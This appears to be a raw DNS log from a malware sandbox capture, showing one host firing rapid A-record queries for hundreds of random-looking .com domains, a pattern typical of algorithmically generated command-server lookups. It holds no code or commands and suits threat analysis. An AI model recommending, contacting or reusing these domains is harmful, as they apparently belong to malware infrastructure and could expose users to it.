                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.515292883 CET192.168.2.41.1.1.10xffa7Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.516750097 CET192.168.2.41.1.1.10xc07cStandard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.520251989 CET192.168.2.41.1.1.10xdedcStandard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.520607948 CET192.168.2.41.1.1.10xd8d5Standard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.521676064 CET192.168.2.41.1.1.10x300fStandard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.524301052 CET192.168.2.41.1.1.10xb5edStandard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.525329113 CET192.168.2.41.1.1.10x8883Standard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.526830912 CET192.168.2.41.1.1.10xd3bbStandard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.528999090 CET192.168.2.41.1.1.10x144Standard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.530735016 CET192.168.2.41.1.1.10x330eStandard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.534636974 CET192.168.2.41.1.1.10xb177Standard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.536211967 CET192.168.2.41.1.1.10xb7b6Standard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.542165041 CET192.168.2.41.1.1.10xdfbdStandard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.542361975 CET192.168.2.41.1.1.10x3d7aStandard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.545456886 CET192.168.2.41.1.1.10x5a25Standard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.545973063 CET192.168.2.41.1.1.10xc4a3Standard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.557962894 CET192.168.2.41.1.1.10xaa3fStandard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.559418917 CET192.168.2.41.1.1.10x2c4Standard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.559763908 CET192.168.2.41.1.1.10x2db3Standard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.562175989 CET192.168.2.41.1.1.10x4e47Standard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.565280914 CET192.168.2.41.1.1.10x5338Standard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.565788984 CET192.168.2.41.1.1.10x8f11Standard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.565953016 CET192.168.2.41.1.1.10x3de3Standard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.566411018 CET192.168.2.41.1.1.10xbb05Standard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.566582918 CET192.168.2.41.1.1.10x1285Standard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.566612005 CET192.168.2.41.1.1.10x477dStandard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.566903114 CET192.168.2.41.1.1.10x951Standard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.566957951 CET192.168.2.41.1.1.10x8c19Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.567126989 CET192.168.2.41.1.1.10xbe20Standard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.567234993 CET192.168.2.41.1.1.10xee99Standard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.567380905 CET192.168.2.41.1.1.10x59e9Standard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.568382978 CET192.168.2.41.1.1.10x8d33Standard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.570000887 CET192.168.2.41.1.1.10xce3bStandard query (0)vojyjot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.572386026 CET192.168.2.41.1.1.10xe06eStandard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.583353043 CET192.168.2.41.1.1.10x1d5eStandard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.584795952 CET192.168.2.41.1.1.10x903aStandard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.584959984 CET192.168.2.41.1.1.10x42baStandard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.587398052 CET192.168.2.41.1.1.10xf8d3Standard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633356094 CET192.168.2.41.1.1.10x32d2Standard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633574009 CET192.168.2.41.1.1.10xc297Standard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633593082 CET192.168.2.41.1.1.10x9468Standard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633785963 CET192.168.2.41.1.1.10xe3d8Standard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633815050 CET192.168.2.41.1.1.10x28deStandard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.633994102 CET192.168.2.41.1.1.10x2dcfStandard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.634011030 CET192.168.2.41.1.1.10x98e3Standard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.634687901 CET192.168.2.41.1.1.10x1133Standard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.634846926 CET192.168.2.41.1.1.10xa5d6Standard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.635001898 CET192.168.2.41.1.1.10x1e81Standard query (0)qedyfyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.635175943 CET192.168.2.41.1.1.10xd073Standard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.675198078 CET192.168.2.41.1.1.10xfe7dStandard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.675530910 CET192.168.2.41.1.1.10xa366Standard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.680269957 CET192.168.2.41.1.1.10x6932Standard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.680392981 CET192.168.2.41.1.1.10xffb7Standard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.680565119 CET192.168.2.41.1.1.10x3f8Standard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.985838890 CET192.168.2.41.1.1.10xac78Standard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.299062967 CET192.168.2.41.1.1.10xd2b4Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.313688040 CET192.168.2.41.1.1.10xe0daStandard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.414191008 CET192.168.2.41.1.1.10x61f0Standard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.414280891 CET192.168.2.41.1.1.10x3cd1Standard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.415920019 CET192.168.2.41.1.1.10x90abStandard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.416414976 CET192.168.2.41.1.1.10xbde3Standard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.417334080 CET192.168.2.41.1.1.10x452aStandard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.417534113 CET192.168.2.41.1.1.10x53e4Standard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.417766094 CET192.168.2.41.1.1.10x1d3eStandard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.418068886 CET192.168.2.41.1.1.10x84e7Standard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.418312073 CET192.168.2.41.1.1.10x67ffStandard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.418404102 CET192.168.2.41.1.1.10x33bbStandard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.421346903 CET192.168.2.41.1.1.10x46e6Standard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.437998056 CET192.168.2.41.1.1.10xdaabStandard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.446151018 CET192.168.2.41.1.1.10x16a4Standard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.468355894 CET192.168.2.41.1.1.10x5fd8Standard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.482023001 CET192.168.2.41.1.1.10x198dStandard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.506628990 CET192.168.2.41.1.1.10xc1f4Standard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.507328033 CET192.168.2.41.1.1.10x776Standard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.507771969 CET192.168.2.41.1.1.10x6419Standard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.508366108 CET192.168.2.41.1.1.10xc61fStandard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.557250023 CET192.168.2.41.1.1.10xd9Standard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.557375908 CET192.168.2.41.1.1.10x761dStandard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.558288097 CET192.168.2.41.1.1.10xc3b7Standard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.558326960 CET192.168.2.41.1.1.10x7ce2Standard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.558885098 CET192.168.2.41.1.1.10x49e9Standard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.559375048 CET192.168.2.41.1.1.10x86Standard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.560065985 CET192.168.2.41.1.1.10x1ddaStandard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.560435057 CET192.168.2.41.1.1.10x1fd8Standard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.561007023 CET192.168.2.41.1.1.10xbe05Standard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.561312914 CET192.168.2.41.1.1.10x243aStandard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.561811924 CET192.168.2.41.1.1.10xc904Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.573518038 CET192.168.2.41.1.1.10xe83eStandard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.573798895 CET192.168.2.41.1.1.10x255dStandard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.850986004 CET192.168.2.41.1.1.10x54dcStandard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.852159977 CET192.168.2.41.1.1.10xa26aStandard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.853501081 CET192.168.2.41.1.1.10xdfd7Standard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.853868008 CET192.168.2.41.1.1.10xd2dbStandard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.854280949 CET192.168.2.41.1.1.10xfcaeStandard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.854640007 CET192.168.2.41.1.1.10x1885Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.855221987 CET192.168.2.41.1.1.10xa4cfStandard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.856040001 CET192.168.2.41.1.1.10x9dffStandard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.856373072 CET192.168.2.41.1.1.10xf633Standard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.857070923 CET192.168.2.41.1.1.10xe225Standard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.865541935 CET192.168.2.41.1.1.10xf069Standard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.866076946 CET192.168.2.41.1.1.10xaa01Standard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.866343975 CET192.168.2.41.1.1.10x63abStandard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.866523981 CET192.168.2.41.1.1.10xe449Standard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.866962910 CET192.168.2.41.1.1.10x99dStandard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.867131948 CET192.168.2.41.1.1.10x1938Standard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.867305994 CET192.168.2.41.1.1.10x9c4fStandard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.870187998 CET192.168.2.41.1.1.10xa22eStandard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.870428085 CET192.168.2.41.1.1.10xb2c4Standard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.872040033 CET192.168.2.41.1.1.10x47cStandard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.872196913 CET192.168.2.41.1.1.10x8f82Standard query (0)gadyvez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.872498989 CET192.168.2.41.1.1.10x25c9Standard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.872646093 CET192.168.2.41.1.1.10x1c21Standard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.872790098 CET192.168.2.41.1.1.10xf5d4Standard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.874255896 CET192.168.2.41.1.1.10x1932Standard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.876136065 CET192.168.2.41.1.1.10x611dStandard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.887209892 CET192.168.2.41.1.1.10xf0b2Standard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.887911081 CET192.168.2.41.1.1.10x9f57Standard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:17.890791893 CET192.168.2.41.1.1.10x4aStandard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.073705912 CET192.168.2.41.1.1.10x9088Standard query (0)gacyqoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.601594925 CET192.168.2.41.1.1.10xf92dStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.803291082 CET192.168.2.41.1.1.10x16baStandard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.803529978 CET192.168.2.41.1.1.10xcfe8Standard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.803560972 CET192.168.2.41.1.1.10xf9bcStandard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.804276943 CET192.168.2.41.1.1.10xcad6Standard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.842945099 CET192.168.2.41.1.1.10x5b41Standard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.844988108 CET192.168.2.41.1.1.10x2851Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.845786095 CET192.168.2.41.1.1.10xef61Standard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.845904112 CET192.168.2.41.1.1.10x4c26Standard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.847121000 CET192.168.2.41.1.1.10xbed2Standard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.848321915 CET192.168.2.41.1.1.10x62c8Standard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.850265026 CET192.168.2.41.1.1.10x4424Standard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.851155043 CET192.168.2.41.1.1.10x319bStandard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.852341890 CET192.168.2.41.1.1.10xe85eStandard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.853687048 CET192.168.2.41.1.1.10x819eStandard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.854419947 CET192.168.2.41.1.1.10xde8cStandard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.855076075 CET192.168.2.41.1.1.10x2953Standard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.855421066 CET192.168.2.41.1.1.10x737fStandard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.858912945 CET192.168.2.41.1.1.10x12bdStandard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.859555960 CET192.168.2.41.1.1.10xddefStandard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.860975027 CET192.168.2.41.1.1.10xb76fStandard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.862021923 CET192.168.2.41.1.1.10x2d41Standard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.862104893 CET192.168.2.41.1.1.10x793dStandard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.862287045 CET192.168.2.41.1.1.10x5604Standard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.863393068 CET192.168.2.41.1.1.10x4bbcStandard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.867024899 CET192.168.2.41.1.1.10x646fStandard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.871846914 CET192.168.2.41.1.1.10x7f03Standard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.872890949 CET192.168.2.41.1.1.10x1653Standard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.903263092 CET192.168.2.41.1.1.10x7c6dStandard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.903760910 CET192.168.2.41.1.1.10xaf22Standard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.904186964 CET192.168.2.41.1.1.10xe51aStandard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.904297113 CET192.168.2.41.1.1.10x4655Standard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.904618979 CET192.168.2.41.1.1.10x1308Standard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.909265041 CET192.168.2.41.1.1.10xf2dStandard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.052167892 CET192.168.2.41.1.1.10x350fStandard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.052380085 CET192.168.2.41.1.1.10x6693Standard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.054184914 CET192.168.2.41.1.1.10x9307Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.054441929 CET192.168.2.41.1.1.10xf6d8Standard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.054688931 CET192.168.2.41.1.1.10x265bStandard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.055284023 CET192.168.2.41.1.1.10xa6d6Standard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.055581093 CET192.168.2.41.1.1.10x2a14Standard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.055943966 CET192.168.2.41.1.1.10x9551Standard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.056169033 CET192.168.2.41.1.1.10x21e2Standard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.056559086 CET192.168.2.41.1.1.10x87e0Standard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.058716059 CET192.168.2.41.1.1.10x8dc4Standard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.058748007 CET192.168.2.41.1.1.10x9315Standard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.058948994 CET192.168.2.41.1.1.10x1b6dStandard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.058962107 CET192.168.2.41.1.1.10x6619Standard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059148073 CET192.168.2.41.1.1.10x4c14Standard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059170008 CET192.168.2.41.1.1.10xf66aStandard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059326887 CET192.168.2.41.1.1.10x7e37Standard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059361935 CET192.168.2.41.1.1.10xffbbStandard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059600115 CET192.168.2.41.1.1.10x5385Standard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059618950 CET192.168.2.41.1.1.10xeab9Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059823990 CET192.168.2.41.1.1.10x921Standard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.059947014 CET192.168.2.41.1.1.10x6f2aStandard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.060122967 CET192.168.2.41.1.1.10xa99Standard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.060535908 CET192.168.2.41.1.1.10xf269Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.080617905 CET192.168.2.41.1.1.10x488cStandard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.081140041 CET192.168.2.41.1.1.10xce60Standard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.085937977 CET192.168.2.41.1.1.10x6a8Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.086102009 CET192.168.2.41.1.1.10x1e2eStandard query (0)pujybev.comA (IP address)IN (0x0001)false
